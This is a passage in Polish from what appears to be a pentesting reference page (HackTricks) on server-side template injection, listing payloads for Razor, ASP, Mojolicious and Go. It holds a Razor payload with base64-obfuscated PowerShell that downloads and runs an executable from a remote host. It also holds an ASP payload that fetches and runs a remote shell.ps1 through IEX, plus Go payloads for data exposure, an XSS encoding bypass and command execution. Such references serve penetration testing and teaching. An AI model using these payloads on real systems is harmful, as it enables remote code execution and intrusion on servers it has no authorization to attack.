  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Metoda .NET System.Diagnostics.Process.Start może być używana do uruchamiania dowolnego procesu na serwerze, a tym samym do tworzenia webshella. Możesz znaleźć przykład podatnej aplikacji webowej w https://github.com/cnotin/RazorVulnerableApp

Więcej informacji

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nic
  • <%= response.write(date()) %> = <Data>
xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Więcej informacji

Mojolicious (Perl)

Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI w GO

W silniku szablonów Go potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych ładunków:

  • {{ . }}: Odsłania strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutem Password, {{ .Password }} może go ujawnić.
  • {{printf "%s" "ssti" }}: Oczekiwane jest wyświetlenie ciągu "ssti".
  • {{html "ssti"}}, {{js "ssti"}}: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dalsze dyrektywy można zbadać w dokumentacji Go tutaj.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

Eksploatacja XSS

Z pakietem text/template, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet html/template koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}} skutkuje &lt;script&gt;alert(1)&lt;/script&gt;). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Eksploatacja RCE

Eksploatacja RCE znacznie różni się między html/template a text/template. Moduł text/template pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w html/template. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.

Dla RCE przez SSTI w Go, metody obiektów mogą być wywoływane. Na przykład, jeśli dostarczony obiekt ma metodę System wykonującą polecenia, można to wykorzystać jak {{ .System "ls" }}. Zazwyczaj konieczne jest uzyskanie dostępu do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Więcej informacji

Więcej exploitów

Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection w poszukiwaniu kolejnych exploitów. Możesz również znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Powiązana pomoc

Jeśli uważasz, że to może być przydatne, przeczytaj:

Narzędzia

Lista wykrywania brute-force

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt {{#endref}}

Ćwiczenia i odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks